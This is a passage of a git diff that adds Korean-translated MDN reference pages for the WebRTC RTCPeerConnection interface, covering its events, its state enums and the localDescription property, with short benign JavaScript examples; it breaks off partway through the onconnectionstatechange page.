+<p><strong>참고:</strong> ICE candidate 수집 과정이 완료되었는지는 <code>icegatheringstatechange</code>이벤트와 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 <code>complete</code>로 바뀌는 것을 확인하면 알 수 있습니다. 하지만, 더 쉬운 방법으로는 {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}} 이벤트에 대한 핸들러가 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성의 값이 null로 변하는 시점을 체크하도록 할 수 있습니다. 이 속성이 <code>null</code> 값으로 바뀌었다는 것은 즉 모든 candidate 수집이 완료되었다는 뜻입니다. </p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제는 <code>icegatheringstatechange</code> 이벤트에대한 핸들러를 생성합니다.</p>
+
+<pre class="brush: js">pc.onicegatheringstatechange = ev =&gt; {
+ let connection = ev.target;
+
+ switch(connection.iceGatheringState) {
+ case "gathering":
+ /* candidate 수집 과정 시작 */
+ break;
+ case "complete":
+ /* candidate 수집 완료 */
+ break;
+ }
+}
+</pre>
+
+<p>아래처럼 {{domxref("EventTarget.addEventListener", "addEventListener()")}}을 사용해서 <code>icegatheringstatechange</code> 이벤트에 대한 변경을 감지하는 리스너를 추가 할 수 있습니다.</p>
+
+<pre class="brush: js">pc.addEventListener("icegatheringstatechange", ev =&gt; {
+ let connection = ev.target;
+
+ switch(connection.iceGatheringState) {
+ case "gathering":
+ /* candidate 수집 과정 시작 */
+ break;
+ case "complete":
+ /* candidate 수집 완료 */
+ break;
+ }
+}, false);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#event-icegatheringstatechange', 'icecandidatestatechange')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.icegatheringstatechange_event")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..295552696c
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/index.html
@@ -0,0 +1,356 @@
+---
+title: RTCPeerConnection
+slug: Web/API/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection
+---
+<p>{{APIRef('WebRTC')}}{{draft}}</p>
+
+<p><span class="seoSummary"><strong><code>RTCPeerConnection</code> </strong>인터페이스는 로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 담당하며 원격 피어에 연결하기 위한 메서드들을 제공하고, 연결을 유지하고 연결 상태를 모니터링하며 더 이상 연결이 필요하지 않을 경우 연결을 종료합니다.</span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p>{{InterfaceOverview("WebRTC")}}</p>
+
+<h3 id="사용되지_않는_메서드">사용되지 않는 메서드</h3>
+
+<p>다음 메서드는 오래 전부터 사용되지 않았으며 모든 주요 브라우저에서 구현되지 않았습니다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
+ <dd>특정 {{domxref("MediaStreamTrack")}}와 관련된 신규 {{domxref("RTCDTMFSender")}}를 생성합니다. {{domxref("RTCDTMFSender")}}는 연결을 통해 {{Glossary("DTMF")}} 전화 신호를 보낼 수 있습니다. </dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>{{domxref("EventTarget.addEventListener", "addEventListener()")}}를 이용하여 아래 이벤트를 리스닝하거나 이 인터페이스의 <code>on<em>eventname</em></code> 프로퍼티에 이벤트 리스너를 할당할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}</dt>
+ <dd><code>RTCPeerConnection</code>의 연결상태가 바뀌면, <code>RTCPeerConnection</code> 객체에 전달합니다. 이는 또한,  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다. </dd>
+ <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt>
+ <dd>원격 피어가 {{domxref("RTCDataChannel")}}을 연결에 추가하게되면 <code>RTCPeerConnection</code> 객체에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt>
+ <dd>특정 ICE candidate가 원격 피어에 전달되도록 피어 연결에 요청을 보냅니다. 또한, {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt>
+ <dd>ICE candidate를 수집하는 과정에서 에러가 발생하면 연결에 {{domxref("RTCPeerConnectionIceErrorEvent")}} 에러 타입을 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}</dt>
+ <dd>연결이 끊기는 상황과 같이 ICE 연결의 상태가 변하게되면 <code>RTCPeerConnection</code>에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt>
+ <dd>{{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}에 의해 반영되는 ICE 계층의 수집 상태가 변하면, <code>RTCPeerConnection</code>에 전달합니다. 계층의 수집 상태는 ICE 네고시에이션이 아직 시작을 안했거나 (<code>new</code>), 시작하고 candidate를 수집하는 중이거나 (<code>gathering</code>), 혹은 수집이 완료 (<code>complete</code>)된 상태로 나눠집니다. 이는 또한, {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt>
+ <dd>연결과 관련이 있는 하나의 {{domxref("MediaStreamTrack")}} 객체가 있는 {{domxref("MediaStreamTrack.isolated", "isolated")}} 속성의 값이 변하면, <code>RTCPeerConnection</code>에 전달합니다. 만약 미디어 컨텐츠가 인증이 되어있지 않거나, 트랙이 cross-origin source (CORS)에서 오는 것이라면 트랙의 상태는 {{domxref("MediaStreamTrack.isolated", "isolated")}}이 됩니다. 이는 또한, {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt>
+ <dd>ICE 연결의 네고시에이션 혹은 네고시에이션을 다시 수행해야 할 때, <code>RTCPeerConnection</code>에 전달됩니다. 이는 연결이 처음 생성되는 순간뿐만아니라 네트워크 조건이 바뀌게 되면 발생합니다. 리시버는 offer를 생성하고, 이를 다른 피어에 전달하기위해 응답해야합니다. 이는 또한, {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}</dt>
+ <dd>연결의 ICE 신호 상태가 변경되면 <code>signalingstatechange</code>이벤트를 <code>RTCPeerConnection</code>에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.statsended_event", "statsended")}}</dt>
+ <dd>모니터링이 되던 statistics 객체가 삭제되면, <code>statsended</code>이벤트를 전달합니다. {{domxref("RTCStatsEvent")}}는 삭제된 객체의 마지막 리포트를 포함합니다. 마지막 리포트를 전달받고나서 여러개의 객체가 삭제되었다면, 여러 객체에 대한 마지막 리포트를 포함합니다. 예를 들어 연결이 종료되거나 삭제되면, statistics 객체는 삭제됩니다. </dd>
+ <dd>The <code>statsended</code> event is sent when a statistics object being monitored is deleted. The {{domxref("RTCStatsEvent")}} includes the final report on the deleted object (or objects, if multiple objects have been deleted since the last report was delivered). A statistics object is deleted, for example, when the connection is closed and deleted.<br>
+ Available as the {{domxref("RTCPeerConnection.onstatsended", "onstatsended")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.track_event", "track")}}</dt>
+ <dd>연결을 구성하고 있는 {{domxref("RTCRtpReceiver")}} 인스턴스들 중 하나에 신규 트랙이 추가된 후에, <code>track</code>이벤트를 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+</dl>
+
+<h3 id="사용되지_않는_이벤트">사용되지 않는 이벤트</h3>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}</dt>
+ <dd>Sent when a new {{domxref("MediaStream")}} has been added to the connection. Instead of watching for this obsolete event, you should watch each for {{domxref("RTCPeerConnection.track_event", "track")}} events; one is sent for each {{domxref("MediaStreamTrack")}} added to the connection.<br>
+ Available as the {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an identity assertion is available. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.<br>
+ Also available using the {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to generate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.<br>
+ Also available as the {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to validate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.<br>
+ Also available using the {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to deliver a received identity. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.</dd>
+ <dt>{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when a {{domxref("MediaStream")}} is removed from the connection. Instead of watching for this obsolete event, you should watch each stream for {{domxref("MediaStream.removetrack_event", "removetrack")}} events on each stream within the <code>RTCPeerConnection</code>.<br>
+ Also available as the {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} event handler property.</dd>
+</dl>
+
+<h2 id="상수">상수</h2>
+
+<h3 id="RTCBundlePolicy_열거체">RTCBundlePolicy 열거체</h3>
+
+<p>The <code>RTCBundlePolicy</code> enum defines string constants which are used to request a specific policy for gathering ICE candidates if the remote peer isn't compatible with the <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> for bundling multiple media streams on a single transport link.</p>
+
+<div class="note">
+<p>In technical terms, a BUNDLE lets all media flow between two peers flow across a single <strong>5-tuple</strong>; that is, from the same IP and port on one peer to the same IP and port on the other peer, using the same transport protocol.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"balanced"</code></td>
+ <td>On BUNDLE-aware connections, the ICE agent should gather candidates for all of the media types in use (audio, video, and data). Otherwise, the ICE agent should only negotiate one audio and video track on separate transports.</td>
+ </tr>
+ <tr>
+ <td><code>"max-compat"</code></td>
+ <td>The ICE agent should gather candidates for each track, using separate transports to negotiate all media tracks for connections which aren't BUNDLE-compatible.</td>
+ </tr>
+ <tr>
+ <td><code>"max-bundle"</code></td>
+ <td>The ICE agent should gather candidates for just one track. If the connection isn't BUNDLE-compatible, then the ICE agent should negotiate just one media track.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceConnectionState_열거체">RTCIceConnectionState 열거체</h3>
+
+<p>The <code>RTCIceConnectionState</code> enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"new"</code></td>
+ <td>The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).</td>
+ </tr>
+ <tr>
+ <td><code>"checking"</code></td>
+ <td>The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.</td>
+ </tr>
+ <tr>
+ <td><code>"connected"</code></td>
+ <td>A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.</td>
+ </tr>
+ <tr>
+ <td><code>"completed"</code></td>
+ <td>The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.</td>
+ </tr>
+ <tr>
+ <td><code>"failed"</code></td>
+ <td>The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.</td>
+ </tr>
+ <tr>
+ <td><code>"disconnected"</code></td>
+ <td>Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than <code>"failed"</code> and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the <code>"connected"</code> state.</td>
+ </tr>
+ <tr>
+ <td><code>"closed"</code></td>
+ <td>The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceGatheringState_enum">RTCIceGatheringState enum</h3>
+
+<p>{{domxref("RTCPeerConnection.iceGatheringState")}} 속성을 사용하게되면 반환되는 <code>RTCIceGatheringState</code> enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. {{event("icegatheringstatechange")}} 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"new"</code></td>
+ <td>피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태</td>
+ </tr>
+ <tr>
+ <td><code>"gathering"</code></td>
+ <td>ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태</td>
+ </tr>
+ <tr>
+ <td><code>"complete"</code></td>
+ <td>ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 <code>complete</code>에서 <code>gathering</code>으로 다시 바뀝니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceTransportPolicy_enum">RTCIceTransportPolicy enum</h3>
+
+<p>The <code>RTCIceTransportPolicy</code> enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"all"</code></td>
+ <td>All ICE candidates will be considered.</td>
+ </tr>
+ <tr>
+ <td><code>"public" </code>{{obsolete_inline}}</td>
+ <td>Only ICE candidates with public IP addresses will be considered. <em>Removed from the specification's May 13, 2016 working draft.</em></td>
+ </tr>
+ <tr>
+ <td><code>"relay"</code></td>
+ <td>Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCPeerConnectionState_enum">RTCPeerConnectionState enum</h3>
+
+<p><code>RTCPeerConnectionState</code> enum은 <code>RTCPeerConnection</code>이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. </p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"new"</code></td>
+ <td>
+ <p>연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 <code>"new"</code> 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, 혹은 <code>"disconnected"</code>, 혹은  모든 연결의 전송이 끝났다는 <code>"closed"</code>상태.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>"connecting"</code></td>
+ <td>하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 <code>RTCIceConnectionState</code>가 <code>"checking"</code> 혹은 <code>"connected"</code>이며, 그 어떤 전송도 <code>"failed"</code>상태가 아니여야합니다. <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+ </tr>
+ <tr>
+ <td><code>"connected"</code></td>
+ <td>연결에 의해 사용되는 모든 ICE 전송이 사용 중 (<code>"connected"</code> 혹은 <code>"completed"</code>)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 <code>"connected"</code> 혹은 <code>"completed"</code>입니다.</td>
+ </tr>
+ <tr>
+ <td><code>"disconnected"</code></td>
+ <td>연결에 대한 최소 한 개의 ICE 전송이 <code>"disconnected"</code>상태이고, 그 외의 다른 전송 상태는 <code>"failed"</code>, <code>"connecting"</code>, 혹은 <code>"checking"</code>이 아님을 알려주는 값. </td>
+ </tr>
+ <tr>
+ <td><code>"failed"</code></td>
+ <td>
+ <p>연결에 대한 하나 혹은 여러개의 ICE 전송이 <code>"failed"</code>상태임을 알려주는 값.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>"closed"</code></td>
+ <td>
+ <p><code>RTCPeerConnection</code> 개통되지 않음을 알려주는 값.</p>
+
+ <p>2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. </p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCRtcpMuxPolicy_enum">RTCRtcpMuxPolicy enum</h3>
+
+<p>The <code>RTCRtcpMuxPolicy</code> enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. <strong>&lt;&lt;&lt;add a link to info about multiplexed RTCP.</strong></p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"negotiate"</code></td>
+ <td>Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.</td>
+ </tr>
+ <tr>
+ <td><code>"require"</code></td>
+ <td>Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCSignalingState_enum">RTCSignalingState enum</h3>
+
+<p>The <code>RTCSignalingState</code> enum specifies the possible values of {{domxref("RTCPeerConnection.signalingState")}}, which indicates where in the process of signaling the exchange of offer and answer the connection currently is.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"stable"</code></td>
+ <td>There is no ongoing exchange of offer and answer underway. This may mean that the {{domxref("RTCPeerConnection")}} object is new, in which case both the {{domxref("RTCPeerConnection.localDescription", "localDescription")}} and {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} are <code>null</code>; it may also mean that negotiation is complete and a connection has been established.</td>
+ </tr>
+ <tr>
+ <td><code>"have-local-offer"</code></td>
+ <td>The local peer has called {{domxref("RTCPeerConnection.setLocalDescription()")}}, passing in SDP representing an offer (usually created by calling {{domxref("RTCPeerConnection.createOffer()")}}), and the offer has been applied successfully.</td>
+ </tr>
+ <tr>
+ <td><code>"have-remote-offer"</code></td>
+ <td>The remote peer has created an offer and used the signaling server to deliver it to the local peer, which has set the offer as the remote description by calling {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+ </tr>
+ <tr>
+ <td><code>"have-local-pranswer"</code></td>
+ <td>The offer sent by the remote peer has been applied and an answer has been created (usually by calling {{domxref("RTCPeerConnection.createAnswer()")}}) and applied by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. This provisional answer describes the supported media formats and so forth, but may not have a complete set of ICE candidates included. Further candidates will be delivered separately later.</td>
+ </tr>
+ <tr>
+ <td><code>"have-remote-pranswer"</code></td>
+ <td>A provisional answer has been received and successfully applied in response to an offer previously sent and established by calling <code>setLocalDescription()</code>.</td>
+ </tr>
+ <tr>
+ <td><code>"closed"</code> {{obsolete_inline}}</td>
+ <td>
+ <p>The connection is closed.</p>
+
+ <div class="note">
+ <p>This value moved into the <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> in the May 13, 2016 draft of the specification, as it reflects the state of the <code>RTCPeerConnection</code>, not the signaling connection. You now detect a closed connection by checking for {{domxref("RTCPeerConnection.connectionState", "connectionState")}} to be <code>"closed"</code> instead.</p>
+ </div>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양명</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div></div>
+
+<div>{{Compat("api.RTCPeerConnection")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js">https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple">http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: Node.js HTML5 video capture, peer-to-peer video and filesharing application (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/localdescription/index.html b/files/ko/web/api/rtcpeerconnection/localdescription/index.html
new file mode 100644
index 0000000000..0525c9f0eb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/localdescription/index.html
@@ -0,0 +1,64 @@
+---
+title: RTCPeerConnection.localDescription
+slug: Web/API/RTCPeerConnection/localDescription
+translation_of: Web/API/RTCPeerConnection/localDescription
+---
+<p>{{WebRTCSidebar}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.localDescription</strong></code>는 연결의 로컬 엔드에 대한 세션을 설명하는 {{domxref("RTCSessionDescription")}}를 반환합니다. 아직 설정이 안되어있다면, <strong>null</strong> 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>sessionDescription</em> = <em>peerConnection</em>.localDescription;</pre>
+
+<p>기본적으로 반환 값은 해당 속성이 <code>null</code>이 아닐 때에만 {{domxref("RTCPeerConnection.pendingLocalDescription")}}의 값입니다. 그렇지 않은 경우에는 {{domxref("RTCPeerConnection.currentLocalDescription")}}의 값이 반환됩니다. 이 알고리즘 및 사용하는 이유에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시에서는 <code>localDescription</code>를 확인하고, {{domxref("RTCSessionDescription")}} 객체의 타입과 sdp필드를 담고있는 경고를 띄웁니다.</p>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+…
+var sd = pc.localDescription;
+if (sd) {
+ alert("Local session: type='" +
+ sd.type + "'; sdp description='" +
+ sd.sdp + "'");
+}
+else {
+ alert("No local session yet.");
+}
+</pre>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-localDescription', 'RTCPeerConnection.localDescription') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.localDescription")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}}, {{domxref("RTCPeerConnection.pendingLocalDescription")}}, {{domxref("RTCPeerConnection.currentLocalDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html
new file mode 100644
index 0000000000..5505f509eb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html
@@ -0,0 +1,65 @@
+---
+title: RTCPeerConnection.onconnectionstatechange
+slug: Web/API/RTCPeerConnection/onconnectionstatechange
+translation_of: Web/API/RTCPeerConnection/onconnectionstatechange
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary"><strong><code>RTCPeerConnection.onconnectionstatechange</code></strong> 속성에 {{domxref("RTCPeerConnection")}} 인스턴스에서 발생하는 {{event("connectionstatechange")}} 이벤트를 처리하기 위해 호출되는 {{domxref("EventHandler")}}를 정의하게됩니다. 이 이벤트는  연결의 상태 집합체가 변할 때마다 발생합니다. 이 상태 집합체는 연결에 의해 사용되는 각각의 네트워크 전송 상태들의 묶음입니다.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.onconnectionstatechange = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
